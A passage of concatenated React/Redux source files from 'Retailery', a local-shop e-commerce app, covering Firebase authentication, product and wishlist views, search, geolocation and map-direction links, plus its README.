<div className={classes.FeedSpecProdList}>
{pComp}
</div>
</div>
</Auxil>
)
}
export default FeedSpecProd<file_sep>import React, { Component } from 'react';
import { connect } from 'react-redux';
import { Redirect } from 'react-router-dom';
import Radio from '@material-ui/core/Radio';
import RadioGroup from '@material-ui/core/RadioGroup';
import FormHelperText from '@material-ui/core/FormHelperText';
import FormControlLabel from '@material-ui/core/FormControlLabel';
import OutlinedInput from '@material-ui/core/OutlinedInput';
import Input from '../../components/UI/Input/Input';
import Button from '../../components/UI/Button/Button';
import Spinner from '../../components/UI/Spinner/Spinner';
import Auxil from '../../hoc/Auxil/Auxil'
import classes from './Auth.module.css';
import * as actions from '../../store/actions/index';
import { FormControl } from '@material-ui/core';
class Auth extends Component {
state = {
controls: {
email: {
elementType: 'input',
elementConfig: {
type: 'email',
placeholder: 'Mail Address'
},
value: '',
validation: {
required: true,
isEmail: true
},
valid: false,
touched: false
},
password: {
elementType: 'input',
elementConfig: {
type: 'password',
placeholder: 'Password (Min 6 char)'
},
value: '',
validation: {
required: true,
minLength: 6
},
valid: false,
touched: false
}
},
signupCustContr: {
name: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: '<NAME>'
},
value: '',
validation: {
required: false,
},
valid: true,
touched: false
},
pinCode: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'PIN Code (Min. 6 char)'
},
value: '',
validation: {
required: true,
minLength: 6
},
valid: false,
touched: false
},
email: {
elementType: 'input',
elementConfig: {
type: 'email',
placeholder: 'Mail Address'
},
value: '',
validation: {
required: true,
isEmail: true
},
valid: false,
touched: false
},
password: {
elementType: 'input',
elementConfig: {
type: 'password',
placeholder: 'Password (Min. 6 char)'
},
value: '',
validation: {
required: true,
minLength: 6
},
valid: false,
touched: false
}
},
signupShopContr:{
name: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Seller Name'
},
value: '',
validation: {
required: false,
},
valid: true,
touched: false
},
lat: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Latitude'
},
value: '',
validation: {
required: true,
minLength: 6
},
valid: false,
touched: false
},
lng: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Longitude'
},
value: '',
validation: {
required: true,
minLength: 6
},
valid: false,
touched: false
},
pinCode: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'PIN Code (Min. 6 char)'
},
value: '',
validation: {
required: true,
minLength: 6
},
valid: false,
touched: false
},
phoneNo: {
elementType: 'input',
elementConfig: {
type: 'text',
placeholder: 'Phone No.'
},
value: '',
validation: {
required: true,
minLength: 10
},
valid: false,
touched: false
},
email: {
elementType: 'input',
elementConfig: {
type: 'email',
placeholder: 'Mail Address'
},
value: '',
validation: {
required: true,
isEmail: true
},
valid: false,
touched: false
},
password: {
elementType: 'input',
elementConfig: {
type: 'password',
placeholder: 'Password (Min. 6 char)'
},
value: '',
validation: {
required: true,
minLength: 6
},
valid: false,
touched: false
}
},
isSignup: false,
isCust: true,
radVal: 'customer'
}
componentDidMount() {
// if (!this.props.buildingBurger && this.props.authRedirectPath !== '/') {
// this.props.onSetAuthRedirectPath();
// }
if (this.props.authRedirectPath !== '/') {
this.props.onSetAuthRedirectPath();
}
}
checkValidity ( value, rules ) {
let isValid = true;
if ( !rules ) {
return true;
}
if ( rules.required ) {
isValid = value.trim() !== '' && isValid;
}
if ( rules.minLength ) {
isValid = value.length >= rules.minLength && isValid
}
if ( rules.maxLength ) {
isValid = value.length <= rules.maxLength && isValid
}
if ( rules.isEmail ) {
const pattern = /[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?/;
isValid = pattern.test( value ) && isValid
}
if ( rules.isNumeric ) {
const pattern = /^\d+$/;
isValid = pattern.test( value ) && isValid
}
return isValid;
}
inputChangedHandler = ( event, controlName, contr ) => {
const updatedControls = {
...contr,
[controlName]: {
...contr[controlName],
value: event.target.value,
valid: this.checkValidity( event.target.value, contr[controlName].validation ),
touched: true
}
};
if(!this.state.isSignup)
this.setState( { controls: updatedControls } );
else{
if(this.state.isCust)
this.setState( { signupCustContr: updatedControls } );
else
this.setState( { signupShopContr: updatedControls } );
}
}
submitHandler = ( event ) => {
event.preventDefault();
let usrData = this.state.controls
//let userData = {}
if(this.state.isSignup){
if(this.state.isCust)
usrData=this.state.signupCustContr
else
usrData=this.state.signupShopContr
}
console.log(usrData)
//console.log(userData)
//this.props.onAuth( this.state.controls.email.value, this.state.controls.password.value, this.state.isSignup, this.state.isCust, userData );
this.props.onAuth( usrData.email.value, usrData.password.value, this.state.isSignup, this.state.isCust, usrData );
}
switchAuthModeHandler = () => {
this.setState(prevState => {
return {isSignup: !prevState.isSignup};
});
}
switchSignUpHandler = (event, value) => {
this.setState(prevState => {
return {isCust: !prevState.isCust, radVal: value};
});
}
render () {
const formElementsArray = [];
let usedContr = []
for ( let key in this.state.controls ) {
formElementsArray.push( {
id: key,
config: this.state.controls[key]
} );
}
let form = formElementsArray.map( formElement => (
// <OutlinedInput
// key={formElement.id}
// className={classes.Inp}
// type={formElement.config.elementType}
// labelWidth={0}
// value={formElement.config.value}
// placeholder={formElement.config.elementConfig.placeholder}
// onChange={( event ) => this.inputChangedHandler( event, formElement.id, this.state.controls )}/>
<Input className={classes.Autho}
key={formElement.id}
elementType={formElement.config.elementType}
elementConfig={formElement.config.elementConfig}
value={formElement.config.value}
invalid={!formElement.config.valid}
shouldValidate={formElement.config.validation}
touched={formElement.config.touched}
changed={( event ) => this.inputChangedHandler( event, formElement.id, this.state.controls )} />
) );
let optio = (
<Auxil>
<FormControl>
<RadioGroup
aria-label="Type"
name="account_type"
value={this.state.radVal}
onChange={(event, value) => this.switchSignUpHandler(event, value)}>
<FormControlLabel value="customer" control={<Radio />} label="Customer" />
<FormControlLabel value="shop" control={<Radio />} label="Shop" />
</RadioGroup>
</FormControl>
</Auxil>
)
if(this.state.isSignup){
if(this.state.isCust){
usedContr = this.state.signupCustContr
}else{
usedContr = this.state.signupShopContr
}
const frmElementsArray = [];
for ( let key in usedContr) {
frmElementsArray.push( {
id: key,
config: usedContr[key]
} );
}
form = frmElementsArray.map( formElement => (
// <OutlinedInput
// key={formElement.id}
// className={classes.Inp}
// type={formElement.config.elementType}
// labelWidth={0}
// value={formElement.config.value}
// placeholder={formElement.config.elementConfig.placeholder}
// onChange={( event ) => this.inputChangedHandler( event, formElement.id, usedContr )}/>
<Input className={classes.Autho}
key={formElement.id}
elementType={formElement.config.elementType}
elementConfig={formElement.config.elementConfig}
value={formElement.config.value}
invalid={!formElement.config.valid}
shouldValidate={formElement.config.validation}
touched={formElement.config.touched}
changed={( event ) => this.inputChangedHandler( event, formElement.id, usedContr )} />
) );
}
if (this.props.loading) {
form = <Spinner />
}
let errorMessage = null;
if (this.props.error) {
errorMessage = (
<p>INVALID</p>
);
}
let authRedirect = null;
if (this.props.isAuthenticated) {
authRedirect = <Redirect to={this.props.authRedirectPath}/>
}
return (
<div className={classes.Auth}>
{authRedirect}
{errorMessage}
<form onSubmit={this.submitHandler}>
{optio}
{form}
<Button className={classes.Submit} btnType="Success">SUBMIT</Button>
</form>
<Button className={classes.Switch}
clicked={this.switchAuthModeHandler}
btnType="Danger">SWITCH TO {this.state.isSignup ? 'SIGNIN' : 'SIGNUP'}</Button>
</div>
);
}
}
const mapStateToProps = state => {
return {
loading: state.auth.loading,
error: state.auth.error,
isAuthenticated: state.auth.token !== null,
// buildingBurger: state.burgerBuilder.building,
authRedirectPath: state.auth.authRedirectPath
};
};
const mapDispatchToProps = dispatch => {
return {
onAuth: ( email, password, isSignup, isCust, userData ) => dispatch( actions.auth( email, password, isSignup, isCust, userData ) ),
onSetAuthRedirectPath: () => dispatch(actions.setAuthRedirectPath('/'))
};
};
export default connect( mapStateToProps, mapDispatchToProps )( Auth );
// import React, { Component } from 'react';
// import { connect } from 'react-redux';
// import { Redirect } from 'react-router-dom';
// import Input from '../../components/UI/Input/Input';
// import Button from '../../components/UI/Button/Button';
// import Spinner from '../../components/UI/Spinner/Spinner';
// import classes from './Auth.module.css';
// import * as actions from '../../store/actions/index';
// class Auth extends Component {
// state = {
// controls: {
// email: {
// elementType: 'input',
// elementConfig: {
// type: 'email',
// placeholder: 'Mail Address'
// },
// value: '',
// validation: {
// required: true,
// isEmail: true
// },
// valid: false,
// touched: false
// },
// password: {
// elementType: 'input',
// elementConfig: {
// type: 'password',
// placeholder: '<PASSWORD>'
// },
// value: '',
// validation: {
// required: true,
// minLength: 6
// },
// valid: false,
// touched: false
// }
// },
// isSignup: true
// }
// componentDidMount() {
// // if (!this.props.buildingBurger && this.props.authRedirectPath !== '/') {
// // this.props.onSetAuthRedirectPath();
// // }
// if (this.props.authRedirectPath !== '/') {
// this.props.onSetAuthRedirectPath();
// }
// }
// checkValidity ( value, rules ) {
// let isValid = true;
// if ( !rules ) {
// return true;
// }
// if ( rules.required ) {
// isValid = value.trim() !== '' && isValid;
// }
// if ( rules.minLength ) {
// isValid = value.length >= rules.minLength && isValid
// }
// if ( rules.maxLength ) {
// isValid = value.length <= rules.maxLength && isValid
// }
// if ( rules.isEmail ) {
// const pattern = /[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?/;
// isValid = pattern.test( value ) && isValid
// }
// if ( rules.isNumeric ) {
// const pattern = /^\d+$/;
// isValid = pattern.test( value ) && isValid
// }
// return isValid;
// }
// inputChangedHandler = ( event, controlName ) => {
// const updatedControls = {
// ...this.state.controls,
// [controlName]: {
// ...this.state.controls[controlName],
// value: event.target.value,
// valid: this.checkValidity( event.target.value, this.state.controls[controlName].validation ),
// touched: true
// }
// };
// this.setState( { controls: updatedControls } );
// }
// submitHandler = ( event ) => {
// event.preventDefault();
// this.props.onAuth( this.state.controls.email.value, this.state.controls.password.value, this.state.isSignup );
// }
// switchAuthModeHandler = () => {
// this.setState(prevState => {
// return {isSignup: !prevState.isSignup};
// });
// }
// render () {
// const formElementsArray = [];
// for ( let key in this.state.controls ) {
// formElementsArray.push( {
// id: key,
// config: this.state.controls[key]
// } );
// }
// let form = formElementsArray.map( formElement => (
// <Input
// className={classes.Input}
// key={formElement.id}
// elementType={formElement.config.elementType}
// elementConfig={formElement.config.elementConfig}
// value={formElement.config.value}
// invalid={!formElement.config.valid}
// shouldValidate={formElement.config.validation}
// touched={formElement.config.touched}
// changed={( event ) => this.inputChangedHandler( event, formElement.id )} />
// ) );
// if (this.props.loading) {
// form = <Spinner />
// }
// let errorMessage = null;
// if (this.props.error) {
// errorMessage = (
// <p>{this.props.error.message}</p>
// );
// }
// let authRedirect = null;
// if (this.props.isAuthenticated) {
// authRedirect = <Redirect to={this.props.authRedirectPath}/>
// }
// return (
// <div className={classes.Auth}>
// {authRedirect}
// {errorMessage}
// <form onSubmit={this.submitHandler}>
// {form}
// <Button btnType="Success">SUBMIT</Button>
// </form>
// <Button
// clicked={this.switchAuthModeHandler}
// btnType="Danger">SWITCH TO {this.state.isSignup ? 'SIGNIN' : 'SIGNUP'}</Button>
// </div>
// );
// }
// }
// const mapStateToProps = state => {
// return {
// loading: state.auth.loading,
// error: state.auth.error,
// isAuthenticated: state.auth.token !== null,
// authRedirectPath: state.auth.authRedirectPath
// };
// };
// const mapDispatchToProps = dispatch => {
// return {
// onAuth: ( email, password, isSignup ) => dispatch( actions.auth( email, password, isSignup ) ),
// onSetAuthRedirectPath: () => dispatch(actions.setAuthRedirectPath('/'))
// };
// };
// export default connect( mapStateToProps, mapDispatchToProps )( Auth );<file_sep>import React, { Component } from "react";
import { error } from "util";
class Location extends Component {
constructor(props) {
super(props);
this.state = {
latitude: 0,
longitude: 0
};
}
componentDidMount() {
navigator.geolocation.getCurrentPosition(position => {
this.setState({
latitude: position.coords.latitude,
longitude: position.coords.longitude
});
})
}
// this.watchId = navigator.geolocation.watchPosition(
// position => {
// console.log(position.coords.latitude)
// this.setState({
// latitude: position.coords.latitude,
// longitude: position.coords.longitude
// });
// },
// error => {
// this.setState({ error: error.message });
// },
// { enableHighAccuracy: true, timeout: 1, maximumAge: 1, distanceFilter: 1 }
// );
// }
render() {
const perm = navigator.permissions.query({name: 'geolocation'})
console.log(perm)
//console.log(this.state.latitude)
return (
<div className="Location">
<header className="Location">
{this.state.latitude && this.state.longitude ? (
<text>
Mylocation is:{this.state.latitude},{this.state.longitude}
</text>
) : (
<text>i dont know where u are</text>
)}
</header>
</div>
);
}
}
export default Location;
<file_sep>import React, { useState, useEffect } from 'react'
import { withRouter } from "react-router";
import { apiLink } from '../../../keys/keyStore'
import classes from './ProdSingleView.module.scss'
import firebase from 'firebase'
import StarRatings from 'react-star-ratings';
import Spinner from '../../UI/Spinner/Spinner'
import Button from '@material-ui/core/Button';
import Fab from '@material-ui/core/Fab';
import phone from '../../../assets/icons/phone.svg'
import heartIcon from '../../../assets/icons/heart.svg'
import mapIcon from '../../../assets/icons/mapIcon.svg'
//import console = require('console');
const ProdSingleView = (props) => {
const [ratVal, upRatVal] = useState(0)
let usrLat = 9.318226
let usrLng = 76.613996
const [prodComp, updProd] = useState(<Spinner />)
const [contInfo, updCont] = useState(<Spinner />)
let rating = null
let starVal = 0
console.log(apiLink)
const changeRating = (event) =>{
starVal = event
}
const ratSubmit = (event) => {
const ratgq = {
query: `
mutation {
updRating(ratingDat: {usId: "${props.userId}",prId: "${props.prodId}", starVal: ${starVal}})
}
`
}
fetch(apiLink, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(ratgq)
})
.then(res => {
return res.json();
})
window.location.reload();
}
const addWishList = () => {
const wisgq = {
query: `
mutation {
addWish(addWishDat: {usId: "${props.userId}",prId: "${props.prodId}"})
}
`
}
fetch(apiLink, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(wisgq)
})
alert("Added to wishlist")
}
useEffect(()=>{
navigator.geolocation.getCurrentPosition(position => {
usrLat = (position.coords.latitude)
usrLng = (position.coords.longitude)
})
const graphqlQuery = {
query: `
query {
prodSrch(prId: "${props.prodId}") {
name
content
price
imageSrc
imgAlt
isInStock
sellerId
custRatings
ratingVals {
noOfRating
ratingValue
}
}
}
`
}
fetch(apiLink, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(graphqlQuery)
})
.then(res => {
return res.json();
})
.then(resData => {
let proData=resData.data.prodSrch
if(props.userId){
const bootChk = proData.custRatings.includes(props.userId)
if(!bootChk){
rating=(
<div>
<p>Rate this Product :</p>
<StarRatings
rating={ratVal}
starRatedColor="blue"
changeRating={event => changeRating(event)}
numberOfStars={5}
name='ProdRating'
starDimension="20px"
starSpacing="7px"/>
<Button onClick={event => ratSubmit(event)}>Submit</Button>
</div>)
}else{
rating = null
}
}
updProd(<div className={classes.ProdSingleView}>
<img src={proData.imageSrc} alt={proData.imgAlt} className={classes.img}/>
<div className={classes.content}>
<h2><strong>{proData.brand}{" "}{proData.name}</strong></h2>
<p>Rating: {(proData.ratingVals.ratingValue).toFixed(1)}</p>
<p className={classes.cont}><i>{proData.content}</i></p>
<p><strong>{proData.price}</strong></p>
<p>{proData.isInStock===0? "Out of stock": "In stock"}</p>
</div>
{rating}
</div>)
return proData.sellerId;
})
.then(sId =>{
const shopQuery= {
query: `
query {
shopSrch(shId: "${sId}") {
name
loc {
lat
lng
}
phone
}
}
`
}
fetch(apiLink, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(shopQuery)
})
.then(res => {
return res.json();
})
.then(resData => {
let shopData=resData.data.shopSrch
const sellerName = shopData.name
const telPhone = "tel:"+shopData.phone
const srchParam = {
origin: usrLat+","+usrLng,
destination: shopData.loc.lat+","+shopData.loc.lng
}
const url = "https://www.google.com/maps/dir/?api=1¶meters&origin="+srchParam.origin+"&destination="+srchParam.destination
//const url = "https://www.google.com/maps/embed/v1/directions?key="+mapKey+"&origin="+srchParam.origin+"&destination="+srchParam.destination
//console.log(usrLat)
updCont(
<div className={classes.page}>
<p>Seller : <strong>{sellerName}</strong></p>
<div className={classes.navIcons}>
<div className={classes.wish}>
<Fab variant="extended" aria-label="Delete" className={classes.fab} >
<img src={heartIcon} alt="phoneIcon" className={classes.phoneIcon} onClick={addWishList}/>
</Fab>
</div>
<div className={classes.wish}>
<a href={telPhone}>
<Fab variant="extended" aria-label="Delete" className={classes.fab}>
<img src={phone} alt="phoneIcon" className={classes.phoneIcon}/>
</Fab>
</a>
</div>
<div className={classes.wish}>
<a href = {url} rel="noopener noreferrer" target="_blank" >
<Fab variant="extended" aria-label="Delete" className={classes.fab}>
<img src={mapIcon} alt="phoneIcon" className={classes.phoneIcon}/>
</Fab>
</a>
</div>
</div>
</div>
)
})
})
},[])
return(
<div>
{prodComp}
{contInfo}
</div>
)
}
export default withRouter(ProdSingleView)<file_sep>// INSERT YOUR FIREBASE DETAILS HERE!!!
// export const apiLink = 'http://localhost:8080/graphql'
export const apiLink = 'https://retailery-api.herokuapp.com/graphql'
<file_sep>import React from "react";
import ReactDOM from "react-dom";
import { Provider } from 'react-redux';
import { createStore, applyMiddleware, compose, combineReducers } from 'redux';
import thunk from 'redux-thunk';
import authReducer from './store/reducers/auth';
import "./index.css";
import App from "./App";
import * as serviceWorker from "./serviceWorker";
import { BrowserRouter } from "react-router-dom";
import * as firebase from "firebase";
// import { config } from './keys/keyStore'
const config = {
apiKey: process.env.REACT_APP_FIREBASE_API_KEY,
authDomain: "retailery.firebaseapp.com",
databaseURL: "https://retailery.firebaseio.com/",
storageBucket: "gs://retailery.appspot.com",
projectId: "retailery",
messagingSenderId: process.env.REACT_APP_FIREBASE_MESSAGING_KEY
}
firebase.initializeApp(config);
// const messaging = firebase.messaging();
// messaging
// .requestPermission()
// .then(function() {
// console.log("have permission");
// return messaging.getToken();
// })
// .catch(function(err) {
// console.log("error occured");
// });
// messaging.onMessage(function(payload) {
// console.log("onmessage", payload);
// });
// // Get a reference to the database service
const composeEnhancers = window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__ || compose;
const rootReducer = combineReducers({
auth: authReducer
});
const store = createStore(rootReducer, composeEnhancers(
applyMiddleware(thunk)
));
const app = (
<Provider store={store}>
<BrowserRouter>
<App />
</BrowserRouter>
</Provider>
);
ReactDOM.render(app, document.getElementById("root"));
// If you want your app to work offline and load faster, you can change
// unregister() to register() below. Note this comes with some pitfalls.
// Learn more about service workers: https://bit.ly/CRA-PWA
serviceWorker.register();
<file_sep>self.__precacheManifest = [
{
"revision": "c700b0e02382fa801dd4a59be163f0b8",
"url": "/static/media/analytics.c700b0e0.svg"
},
{
"revision": "1936de854416920d3d9d",
"url": "/static/css/main.1299371c.chunk.css"
},
{
"revision": "42ac5946195a7306e2a5",
"url": "/static/js/runtime~main.a8a9905a.js"
},
{
"revision": "46f8b188eff8e1bf1546",
"url": "/static/js/2.16ede342.chunk.js"
},
{
"revision": "650cdc57dc0be3a71cc230a760215df5",
"url": "/static/media/deleteIcon.650cdc57.svg"
},
{
"revision": "ed718a5fe4c2c476c20d3e21a9f22868",
"url": "/static/media/plus.ed718a5f.svg"
},
{
"revision": "1936de854416920d3d9d",
"url": "/static/js/main.b03943c2.chunk.js"
},
{
"revision": "ce49021a462f4334c4e6dadbdf9707f4",
"url": "/static/media/phone.ce49021a.svg"
},
{
"revision": "ab11192fd42d9789adcb7eb46dd82bf5",
"url": "/static/media/heart.ab11192f.svg"
},
{
"revision": "17ee361ccd9f9cfc92c6ac135cca2380",
"url": "/static/media/mapIcon.17ee361c.svg"
},
{
"revision": "ee7cd8ed2dcec943251eb2763684fc6f",
"url": "/static/media/logo.ee7cd8ed.svg"
},
{
"revision": "57bd0d7ea2531725385615b9ceeca0f9",
"url": "/index.html"
}
];<file_sep>import React from 'react'
import FeedSpecProd from '../../components/feedProdList/FeedSpecProd/FeedSpecProd'
const FeedM = (props) => {
return(
<FeedSpecProd
srchItem = {props.srchItem}
/>
)
}
export default FeedM<file_sep>import React, { useState, useEffect } from "react";
import { withRouter } from "react-router";
import firebase from "firebase";
import classes from './SearchMain.module.css';
// import Auxil from '../../hoc/Auxil/Auxil'
// import FeedProd from './feedProd/FeedProd'
// import classes from './FeedProdList.module.css'
// import Spinner from '../UI/Spinner/Spinner'
import Input from "../../UI/Input/Input";
import OutlinedInput from '@material-ui/core/OutlinedInput';
//import SearchBar from '@material-ui/core/searchBar';
const SearchMain = props => {
const inputEl = {
elementType: "input",
elementConfig: {
type: "text",
placeholder: "Search"
},
value: "",
touched: false
};
const [inpEl, chInp] = useState(inputEl);
const srchHandler = event => {
event.preventDefault();
const queryParams = encodeURIComponent(inpEl.value);
props.history.push({
pathname: "/FeedM",
search: "?" + queryParams
});
// const rootRef = firebase.database().ref()
// const srchRef = rootRef.child('Products').orderByChild('name').equalTo(inpEl.value)
// srchRef.once('value', function(snapshot) {
// snapshot.forEach(function(childSnapshot) {
// var childKey = childSnapshot.key;
// var childData = childSnapshot.val();
// console.log(childKey)
// console.log(childData)
// });
// });
};
const inputChangedHandler = event => {
const updatedFormElement = { ...inpEl };
updatedFormElement.value = event.target.value;
updatedFormElement.touched = true;
chInp(updatedFormElement);
//inpEl.srchEl = updatedFormElement
};
return (
<form onSubmit={srchHandler} className={classes.form}>
{/* <Input
key="search"
elementType="input"
elementConfig={inpEl.elementConfig}
value={inpEl.value}
invalid={false}
touched={inpEl.touched}
shouldValidate={false}
changed={event => inputChangedHandler(event)}
/> */}
<OutlinedInput
key="search"
type="input"
labelWidth={0}
value={inpEl.value}
placeholder="Search"
onChange={event => inputChangedHandler(event)}
className = {classes.searchbar}/>
{/* <SearchBar
onChange={event => inputChangedHandler(event)}
onRequestSearch={srchHandler}
style={{
marginTop: '10px',
maxWidth: 700,
borderRadius:'20px'
}} */}
</form>
);
};
export default withRouter(SearchMain);
<file_sep>import React, { useState, useEffect, Component } from 'react'
import { withRouter } from "react-router";
import { apiLink } from '../../../keys/keyStore'
import Auxil from '../../../hoc/Auxil/Auxil'
import classes from './WishL.module.css'
import FeedProd from '../../feedProdList/feedProd/FeedProd'
//import firebase from './node_modules/firebase'
import Spinner from '../../UI/Spinner/Spinner'
import firebase from 'firebase'
import Button from '../../UI/Button/Button'
import deleteIcon from '../../../assets/icons/deleteIcon.svg'
const WishL = (props) => {
const [pComp,updComp]=useState((<Spinner/>))
const [cmpList,upWComp]=useState([])
const [wcList, upWcList]=useState([])
let compList = []
let indProdu = []
const db = firebase.firestore();
const showSpecProd = (proDet) =>{
const queryPar = encodeURIComponent(proDet);
props.history.push({
pathname: "/ProdView",
search: "?" + queryPar
});
}
const delProd = (event, prId) => {
// event.preventDefault();
//console.log(prId)
// const srchRef = db.collection("customer").doc(props.userId).get()
// .then(snapshot => {
// let cpList = snapshot.data().wish
// //console.log(cpList)
// cpList.splice( cpList.indexOf(prId), 1 );
// //console.log(cpList)
// db.collection("customer").doc(props.userId).update({
// wish: cpList
// })
// props.history.push({
// pathname: "/wish"
// });
// })
const wisgq = {
query: `
mutation {
delWish(delWishDat: {usId: "${props.userId}",prId: "${prId}"})
}
`
}
fetch(apiLink, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(wisgq)
}).then(res => {
return res.json();
})
.then(resData => {
console.log(resData)
})
}
useEffect(()=>{
const graphqlUserQuery = {
query: `
query {
userSrch(usId: "${props.userId}") {
wish
}
}
`
}
fetch(apiLink, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(graphqlUserQuery)
})
.then(res => {
return res.json();
})
.then(resData => {
let usData = resData.data.userSrch
console.log(usData.wish)
if (usData.wish == null){
updComp(<p>No results</p>)
}else{
usData.wish.forEach(prId => {
const graphqlPrQuery = {
query: `
query {
prodSrch(prId: "${prId}") {
id
name
content
price
imageSrc
imgAlt
isInStock
sellerId
custRatings
ratingVals {
noOfRating
ratingValue
}
}
}
`
}
fetch(apiLink, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(graphqlPrQuery)
})
.then(res => {
return res.json();
})
.then(resData => {
let prData = resData.data.prodSrch
indProdu.push(prData)
updComp(indProdu.map(indProd => (
<Auxil key={indProd.id}>
<div className={classes.FeedProd} onClick={event => showSpecProd(indProd.id)}>
<FeedProd
name={indProd.name}
content={indProd.content}
price={indProd.price}
imageSrc={indProd.imageSrc}
imgAlt={indProd.imgAlt}
styleClass={classes} />
</div>
<div className={classes.deButton}>
<Button clicked={event => delProd(event, indProd.id)}><img src={deleteIcon} className={classes.Home} alt= "alt" /></Button>
</div>
</Auxil>
)))
})
})
}
})
},[])
// const srchRef = db.collection("customer").doc(props.userId)
// .onSnapshot(snapshot => {
// updComp(<Spinner/>)
// indProdu = []
// compList = snapshot.data().wish
// upWComp(compList)
// if(compList[0] == null){
// updComp(<p>No results</p>)
// }
// else{
// compList.forEach(prodId => {
// db.collection("products").doc(prodId).get()
// .then(snapshot => {
// indProdu.push(snapshot.data())
// updComp(indProdu.map(indProd => (
// <Auxil>
// <div key={indProd.id} className={classes.FeedProd} onClick={event => showSpecProd(indProd.id)}>
// <FeedProd
// name={indProd.name}
// content={indProd.content}
// price={indProd.price}
// imageSrc={indProd.imageSrc}
// imgAlt={indProd.imgAlt}
// styleClass={classes} />
// </div>
// <div className={classes.deButton}>
// <Button clicked={event => delProd(event, indProd.id)}><img src={deleteIcon} className={classes.Home} alt= "alt" /></Button>
// </div>
// </Auxil>
// )))
// })
// })
// }
// })
return(
<Auxil>
<div>
{pComp}
</div>
</Auxil>
)
}
export default withRouter(WishL)<file_sep># Retailery
Retailery is an E-commerce app that allows "sellers" to list products and "shoppers" to shop for them. Retailery's prime feature is that it allows the visitors of the app to search for a product and mark out the shops selling that product over a map view. Sellers get a map view of the shops near them that sell the product that they require.
Retailery is bootstrapped using create-react-app and uses Redux for state management. The backend is mounted on Google Firebase. A combination of both REST APIs and GraphQL is used to interact with the backend. Code for the backend is available at https://github.com/devgeetech/retailery-api
Retailery was developed in 2019 and is no longer maintained.
<file_sep>import axios from 'axios';
import firebase from 'firebase'
// import Push from 'push.js'
import * as actionTypes from './actionTypes';
export const authStart = () => {
return {
type: actionTypes.AUTH_START
};
};
export const authSuccess = (token, userId) => {
return {
type: actionTypes.AUTH_SUCCESS,
idToken: token,
userId: userId
};
};
export const authFail = (error) => {
return {
type: actionTypes.AUTH_FAIL,
error: error
};
};
export const logout = () => {
localStorage.removeItem('token');
localStorage.removeItem('expirationDate');
localStorage.removeItem('userId');
return {
type: actionTypes.AUTH_LOGOUT
};
};
export const checkAuthTimeout = (expirationTime) => {
return dispatch => {
setTimeout(() => {
dispatch(logout());
}, expirationTime * 1000);
};
};
export const auth = (email, password, isSignup, isCust, userData) => {
return dispatch => {
dispatch(authStart());
// console.log(email)
const authData = {
email: email,
password: <PASSWORD>,
returnSecureToken: true
};
// console.log(isSignup)
let url = 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/signupNewUser?key='+process.env.REACT_APP_FIREBASE_API_KEY;
if (!isSignup) {
url = 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/verifyPassword?key='+process.env.REACT_APP_FIREBASE_API_KEY;
}
axios.post(url, authData)
.then(response => {
const db = firebase.firestore();
if(!isSignup){
let usId = response.data.localId
if(isCust){
db.collection("customer").doc(usId).get()
.then(snapshot => {
let veriDat = snapshot.data()
console.log(veriDat)
if(veriDat == null)
dispatch(logout())
})
}else{
db.collection("shop").doc(usId).get()
.then(snapshot => {
let veriDat = snapshot.data()
console.log(veriDat)
if(veriDat == null)
dispatch(logout())
})
}
}
let dataNew = {}
if(isSignup){
let setDoc = null
if(isCust){
setDoc = db.collection("customer");
dataNew = {
name: userData.name.value,
email: userData.email.value,
pinCode: userData.pinCode.value,
userId: response.data.localId,
wish:[],
isCust: 1
}
}
else{
setDoc = db.collection("shop");
dataNew = {
name: userData.name.value,
email: userData.email.value,
pinCode: userData.pinCode.value,
loc: {
lat: userData.lat.value,
lng: userData.lng.value
},
userId: response.data.localId,
phone: userData.phoneNo.value,
custRatings:[],
ratingVals:{
noOfRating: 0,
ratingValue: 0
},
isCust: 0
}
}
setDoc.doc(response.data.localId).set(dataNew)
if (Notification.permission == 'granted') {
navigator.serviceWorker.getRegistration().then(function(reg) {
reg.showNotification('Welcome to ShoppingSpree!!');
});
}
}
// console.log(response);
const expirationDate = new Date(new Date().getTime() + response.data.expiresIn * 1000);
localStorage.setItem('token', response.data.idToken);
localStorage.setItem('expirationDate', expirationDate);
localStorage.setItem('userId', response.data.localId);
localStorage.setItem('isCust', isCust);
dispatch(authSuccess(response.data.idToken, response.data.localId));
dispatch(checkAuthTimeout(response.data.expiresIn));
if (Notification.permission === 'granted') {
let options = {
body: "Check out our awesome products"
}
new Notification('Welcome to ShoppingSpree!',options)
// navigator.serviceWorker.getRegistration().then(function(reg) {
// reg.showNotification('Welcome to ShoppingSpree!');
// });
}
})
.catch(err => {
dispatch(authFail(err));
});
};
};
export const setAuthRedirectPath = (path) => {
console.log("called")
return {
type: actionTypes.SET_AUTH_REDIRECT_PATH,
path: path
};
};
export const authCheckState = () => {
return dispatch => {
const token = localStorage.getItem('token');
if (!token) {
dispatch(logout());
} else {
const expirationDate = new Date(localStorage.getItem('expirationDate'));
if (expirationDate <= new Date()) {
dispatch(logout());
} else {
const userId = localStorage.getItem('userId');
dispatch(authSuccess(token, userId));
